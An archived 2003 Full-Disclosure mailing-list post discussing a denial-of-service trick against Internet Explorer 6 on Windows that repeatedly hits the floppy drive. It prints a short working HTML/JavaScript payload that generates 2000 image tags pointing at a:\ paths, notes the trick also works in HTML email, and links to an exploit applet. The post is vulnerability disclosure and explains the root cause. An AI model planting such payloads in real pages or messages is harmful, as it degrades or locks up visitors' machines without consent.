full-disclosure - RE: IE6 & Java 1.4.2_02 applet: Hardware stress on floppy drive

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <001d01c39826$19140ef0$550ffea9@rms>
From: rms at computerbytesman.com (Richard M. Smith)
Subject: RE: IE6 & Java 1.4.2_02 applet: Hardware stress on floppy drive

Here's a more general approach to using the floppy drive for a DoS attack on
a Windows machine:

<html>
<head>
</head>

<body>

<script>
for(i = 1; i <= 2000; ++i)
{
	document.writeln("<img src=a:\\foo" + i + ".gif width=1 height=1>");
}
</script>

</body>
</html>

The fundamental problem here is that a Web page using the http: protocol
shouldn't be able to access HTML objects from a local system using the file:
protocol.

This same trick can be also used from an HTML email message, but the <img>
tags will have to hardwired into the HTML message and not generated by
script code.

Richard

-----Original Message-----
From: Marc Schoenefeld [mailto:schonef@...-muenster.de] 
Sent: Tuesday, October 21, 2003 5:00 PM
To: bugtraq@...urityfocus.com; full-disclosure@...ts.netsys.com
Subject: IE6 & Java 1.4.2_02 applet: Hardware stress on floppy drive

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

be prepared that your IE6 will be blocked if you
run the java plugin (any 1.4.x including 1.4.2_02)
with the following applet:

http://www.illegalaccess.org/exploits/java/applet/MyFloppySucks.html

...